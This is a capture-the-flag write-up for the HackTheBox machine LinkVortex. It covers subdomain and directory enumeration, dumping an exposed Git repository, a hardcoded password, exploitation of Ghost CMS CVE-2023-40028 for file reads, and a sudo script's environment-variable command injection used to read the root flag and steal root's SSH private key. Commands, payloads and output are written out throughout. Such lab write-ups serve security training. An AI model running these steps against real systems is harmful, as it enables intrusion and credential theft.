HackTheBox LinkVortex
Writeup for HackTheBox LinkVortex
Machine Synopsis
Key exploitation techniques:
- Exposed Git repository dumping
- Default/hardcoded credential discovery
- Ghost CMS arbitrary file read (CVE-2023-40028) via symlink upload
- Credential reuse for initial host access
- Symlink race condition (TOCTOU) in a
sudo
script - Arbitrary file read to obtain root SSH key
Enumeration
An nmap
scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.
1
2
3
4
5
6
7
8
9
10
❯ nmap -sC -sV -A 10.10.11.47
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
The HTTP service redirected to http://linkvortex.htb/
. The hostname was added to /etc/hosts
.
1
❯ echo -e '10.10.11.47\t\tlinkvortex.htb' | sudo tee -a /etc/hosts
Subdomain & Directory Enumeration
Subdomain enumeration with ffuf
identified dev.linkvortex.htb
.
1
2
3
4
❯ ffuf -c -u "http://linkvortex.htb" -H "HOST: FUZZ.linkvortex.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 7ms]
...
dev.linkvortex.htb
was added to /etc/hosts
.
Directory brute-forcing on http://dev.linkvortex.htb/
with dirsearch
revealed an exposed .git
directory.
1
2
3
4
5
6
7
❯ dirsearch -t 10 -u http://dev.linkvortex.htb 2>/dev/null
Target: http://dev.linkvortex.htb/
[11:10:29] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
[11:10:29] 200 - 557B - /.git/
[11:10:29] 200 - 73B - /.git/description
...(truncated)
Git Repository Dumping & Credential Discovery
The exposed .git
repository was dumped using git-dumper
.
1
2
3
4
5
❯ virtualenv htb_linkvortex && source htb_linkvortex/bin/activate
❯ git-dumper http://dev.linkvortex.htb/.git/ ./linkvortex-dump
[-] Fetching .git recursively
# ... (truncated)
Updated 5596 paths from the index
Analysis of the dumped repository revealed key information:
.git/config
: Showed the origin ashttps://github.com/TryGhost/Ghost.git
, confirming the application as Ghost CMS. The versionv5.58.0
was also present.1 2 3 4 5 6 7 8 9
❯ cat .git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = [https://github.com/TryGhost/Ghost.git](https://github.com/TryGhost/Ghost.git) fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0
Dockerfile.ghost
: Confirmed the Ghost version and indicatedconfig.production.json
as the main configuration file.1 2 3 4
❯ cat Dockerfile.ghost FROM ghost:5.58.0 COPY config.production.json /var/lib/ghost/config.production.json # ...
grep
for “password” within the dumped files found a hardcoded password inghost/core/test/regression/api/admin/authentication.test.js
.1 2
❯ grep -ri 'password' linkvortex-dump/ linkvortex-dump/ghost/core/test/regression/api/admin/authentication.test.js: const password = 'OctopiFociPilfer45';
The password
OctopiFociPilfer45
was identified. This is a common pattern where test/development credentials are left in production environments.
Exploitation: Ghost CMS Arbitrary File Read (CVE-2023-40028)
Ghost CMS version 5.58.0 is vulnerable to CVE-2023-40028, an arbitrary file read vulnerability that can be exploited by authenticated users via symlink uploads.
A PoC at this GitHub repository was used to exploit CVE-2023-40028. The GHOST_URL
variable in the script was adjusted to http://linkvortex.htb
..
1
2
#GHOST_URL='http://127.0.0.1'
GHOST_URL='http://linkvortex.htb'
The exploit script was run with the discovered credentials. Initial attempts with just admin
as the username failed, but using admin@linkvortex.htb
(the expected email format for Ghost login) succeeded.
1
2
3
4
5
❯ ./exploit.sh -u admin -p OctopiFociPilfer45
[!] INVALID USERNAME OR PASSWORD
❯ ./exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file>
The exploit provided an arbitrary file read shell.
Extracting Credentials via Arbitrary File Read
Using the exploit shell, /etc/passwd
was read to identify system users, and then /var/lib/ghost/config.production.json
was targeted based on the Dockerfile analysis.
1
2
3
4
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
# ... (truncated)
node:x:1000:1000::/home/node:/bin/bash # Identified potential user
Reading config.production.json
yielded additional credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
# ...
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth" # Critical finding
}
}
}
}
The credentials for bob@linkvortex.htb/fibber-talented-worth
were discovered.
The discovered credentials for bob
were used to establish an SSH session to the host.
1
2
3
4
5
6
❯ ssh bob@linkvortex.htb
bob@linkvortex.htb's password: fibber-talented-worth
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
# ... (banner)
bob@linkvortex:~$ cat user.txt
33d559f112960e0c2b623909b7f30300
The user.txt
flag was retrieved.
Privilege Escalation: Symlink Race Condition (TOCTOU)
Privilege escalation was pursued by examining bob
’s sudo
privileges.
1
2
3
bob@linkvortex:~$ sudo -l
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
The bob
user could execute /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
as root without a password. The script’s content was reviewed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then # Vulnerable: CHECK_CONTENT can be injected
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then # Check (TOCTOU vulnerable)
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK) # Use (TOCTOU vulnerable)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/ # Use (TOCTOU vulnerable)
if $CHECK_CONTENT;then # Command injection here
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
The script is vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition and command injection via the CHECK_CONTENT
environment variable.
Vulnerability Breakdown:
- TOCTOU: The script checks if
$LINK
is a symlink (test -L $LINK
) and reads its target (readlink $LINK
). If a symlink is created pointing to a dummy.png
file, but then rapidly swapped (raced) to point to a sensitive file (/root/root.txt
) between thetest -L
andreadlink
/cat
operations, thecat
command would read the sensitive file. - Command Injection: The
$CHECK_CONTENT
variable is evaluated directly within anif
statement (if $CHECK_CONTENT;then
). If$CHECK_CONTENT
contains a command (e.g.,/bin/cat /root/root.txt
), it will be executed bysudo
(as root).
Exploiting TOCTOU & Command Injection
The strategy involved:
- Creating a temporary symlink (
/tmp/exploit.png
) pointing to another symlink (/tmp/fake.png
) to satisfy the.png
extension check. - Initially pointing
/tmp/fake.png
to/dev/null
(or any non-sensitive file) to pass thegrep -Eq '(etc|root)'
check. - Injecting a command into
CHECK_CONTENT
. - Executing the
sudo
command. A TOCTOU race would be needed if the script’s checks were more robust, but theCHECK_CONTENT
injection alone is sufficient for RCE here. The symlink chain primarily bypasses the initial filename validation and internalgrep
checks.
1
2
3
4
5
6
7
8
bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png # Initial dummy target
bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/root.txt' # Command injection for root.txt
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected # Expected warning from shell, but command executes
Link found [ /tmp/exploit.png ] , moving it to quarantine
Content:
779d0ff9be29244ba048b546b98c7fec # root.txt contents
The root.txt
flag was successfully read.
To gain a persistent root shell, the id_rsa
file from /root/.ssh/
was targeted.
1
2
3
4
5
6
7
8
9
10
bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa' # Command injection for root SSH key
bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png # Recreate symlinks as they are moved
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected
Link found [ /tmp/exploit.png ] , moving it to quarantine
-----BEGIN OPENSSH PRIVATE KEY-----
# ... (root SSH private key)
-----END OPENSSH PRIVATE KEY-----
Content:
The root SSH private key was successfully retrieved.
Root Access
The private key was saved to id_rsa
on the attacker machine and permissions were set correctly.
1
2
3
4
5
6
❯ chmod 600 id_rsa
❯ ssh -i id_rsa root@linkvortex.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
# ... (banner)
root@linkvortex:~# cat root.txt
779d0ff9be29244ba048b546b98c7fec
Root access was obtained, and the root.txt
flag confirmed.
OPSEC for Privilege Escalation:
Any temporary symlinks (
/tmp/exploit.png
,/tmp/fake.png
) created during the exploit should be removed from the target system. TheCHECK_CONTENT
environment variable is temporary for thesudo
command’s execution and does not persist.
1 2 3 # On target machine as root root@linkvortex:~# rm /tmp/exploit.png /tmp/fake.png root@linkvortex:~# rm /var/quarantined/exploit.png # Remove the quarantined file as well